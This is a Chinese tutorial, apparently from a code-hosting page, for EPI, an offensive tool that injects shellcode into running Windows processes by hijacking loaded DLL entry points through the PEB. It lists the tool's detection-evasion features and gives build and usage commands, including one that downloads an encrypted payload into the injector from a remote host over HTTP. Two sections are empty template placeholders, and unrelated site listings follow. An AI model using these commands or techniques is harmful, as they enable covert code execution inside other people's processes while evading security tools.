EPI 项目使用与启动教程
1. 项目介绍
EPI(Entry Point Injection)是一个利用新的无线程进程注入技术,通过劫持已加载的 DLL 文件的入口点来实现进程注入的工具。该工具通过修改目标进程的 PEB(Process Environment Block),使得已加载的 DLL 文件的入口点被重定向到注入的壳代码(默认情况下是转换为 sRDI 的 Loader)。当进程自然创建新线程或线程退出时,所有已加载模块的入口点都会被调用,包括我们的注入壳代码。
EPI 的主要优势包括:
- 支持无线程或有线程执行模式。
- 不进行钩子操作(即不对 RX 内存区域进行 JMP 或 CALL 指令的修补)。
- 在已知 DLL 的 RX 内存页上不生成私有内存区域。
- 不需要 RWX 内存权限。
- 目标进程可以继续其常规执行。
- 没有新线程的起始地址指向我们的壳代码。
2. 项目快速启动
环境准备
在编译前,需要设置 LITCRYPT 加密密钥环境变量。打开命令行,执行以下命令:
set LITCRYPT_ENCRYPT_KEY="setarandomkeyeachtime"
编译项目
使用工具默认配置
编译 EPI 项目:
cargo build --release
编译完成后,运行工具:
epi.exe -h
无 Loader - 自定义 payload
如果你希望直接执行自定义的壳代码而不使用 Loader(强烈不推荐),运行 builder.py
脚本并指定 payload 文件的完整路径:
python3 builder.py -p c:\path\to\payload.bin
然后运行 epi.exe
:
epi.exe -h
使用 Loader 和自定义 payload
这是推荐的用法,因为它允许你以最可靠的方式完全自定义执行。要构建工具,运行 builder.py
脚本并使用 -l
标志指示使用 Loader。如果你想要在 Loader 中启用间接系统调用,可以使用 -i
标志。
python3 builder.py -l -p c:\path\to\payload.bin [-i]
编译完成后,注入器即可使用:
epi.exe -p <PID> [flags]
如果你不想在最终二进制中嵌入最终的 PIC 代码,可以加密它(使用简单的 XOR 加密),通过 -d
标志传递给 builder.py
,然后通过 HTTP 直接下载到注入器进程内存中。
python3 builder.py -l -p c:\path\to\payload.bin -d [-i]
加密后的 payload 将被写入 payload
目录。加密密钥与 LITCRYPT_ENCRYPT_KEY
环境变量相同。这个值必须传递给 epi.exe
才能在运行时解密 payload:
epi.exe -p <PID> -u http://remoteip/payload.bin -k setarandomkeyeachtime [flags]
基本使用
传递目标进程的 PID 给工具,并等待线程的创建或退出:
epi.exe -p 1337
如果需要启用 DEBUG 权限以进行注入,可以使用 -d
标志。启用注入器的间接系统调用也可以通过 -i
标志实现。
epi.exe -p 1337 -d -i
如果你不想等待自然创建新线程,可以使用 -f
标志强制创建一个新线程。
epi.exe -p 1337 -f
最后,可以通过发送 WM_QUIT
消息到目标进程的所有线程来强制执行注入的壳代码。
epi.exe -p 1337 -s
3. 应用案例和最佳实践
(此处可以添加具体的应用案例和最佳实践,例如如何在特定场景下使用 EPI,如何调整配置以适应不同的需求等。)
4. 典型生态项目
(此处可以介绍与 EPI 相关的生态项目,例如其他进程注入工具、安全防护工具等,以及如何将它们与 EPI 结合使用。)
- Ggpt-oss-20bgpt-oss-20b —— 适用于低延迟和本地或特定用途的场景(210 亿参数,其中 36 亿活跃参数)Jinja00
- Ggpt-oss-120bgpt-oss-120b是OpenAI开源的高性能大模型,专为复杂推理任务和智能代理场景设计。这款拥有1170亿参数的混合专家模型采用原生MXFP4量化技术,可单卡部署在H100 GPU上运行。它支持可调节的推理强度(低/中/高),完整思维链追溯,并内置函数调用、网页浏览等智能体能力。模型遵循Apache 2.0许可,允许自由商用和微调,特别适合需要生产级推理能力的开发者。通过Transformers、vLLM等主流框架即可快速调用,还能在消费级硬件通过Ollama运行,为AI应用开发提供强大而灵活的基础设施。【此简介由AI生成】Jinja00
- QQwen3-Coder-480B-A35B-InstructQwen3-Coder-480B-A35B-Instruct是当前最强大的开源代码模型之一,专为智能编程与工具调用设计。它拥有4800亿参数,支持256K长上下文,并可扩展至1M,特别擅长处理复杂代码库任务。模型在智能编码、浏览器操作等任务上表现卓越,性能媲美Claude Sonnet。支持多种平台工具调用,内置优化的函数调用格式,能高效完成代码生成与逻辑推理。推荐搭配温度0.7、top_p 0.8等参数使用,单次输出最高支持65536个token。无论是快速排序算法实现,还是数学工具链集成,都能流畅执行,为开发者提供接近人类水平的编程辅助体验。【此简介由AI生成】Python00
- GGLM-4.5-AirGLM-4.5 系列模型是专为智能体设计的基础模型。GLM-4.5拥有 3550 亿总参数量,其中 320 亿活跃参数;GLM-4.5-Air采用更紧凑的设计,拥有 1060 亿总参数量,其中 120 亿活跃参数。GLM-4.5模型统一了推理、编码和智能体能力,以满足智能体应用的复杂需求Jinja00
hello-uniapp
uni-app 是一个使用 Vue.js 开发所有前端应用的框架,开发者编写一套代码,可发布到iOS、Android、鸿蒙Next、Web(响应式)、以及各种小程序(微信/支付宝/百度/抖音/飞书/QQ/快手/钉钉/淘宝/京东/小红书)、快应用、鸿蒙元服务等多个平台Vue00GitCode百大开源项目
GitCode百大计划旨在表彰GitCode平台上积极推动项目社区化,拥有广泛影响力的G-Star项目,入选项目不仅代表了GitCode开源生态的蓬勃发展,也反映了当下开源行业的发展趋势。05GOT-OCR-2.0-hf
阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00openHiTLS
旨在打造算法先进、性能卓越、高效敏捷、安全可靠的密码套件,通过轻量级、可剪裁的软件技术架构满足各行业不同场景的多样化要求,让密码技术应用更简单,同时探索后量子等先进算法创新实践,构建密码前沿技术底座!C0256Yi-Coder
Yi Coder 编程模型,小而强大的编程助手HTML013RuoYi-Cloud-Plus
微服务管理系统 重写RuoYi-Cloud所有功能 整合 SpringCloudAlibaba、Dubbo3.0、Sa-Token、Mybatis-Plus、MQ、Warm-Flow工作流、ES、Docker 全方位升级 定期同步Java014
热门内容推荐
最新内容推荐
项目优选









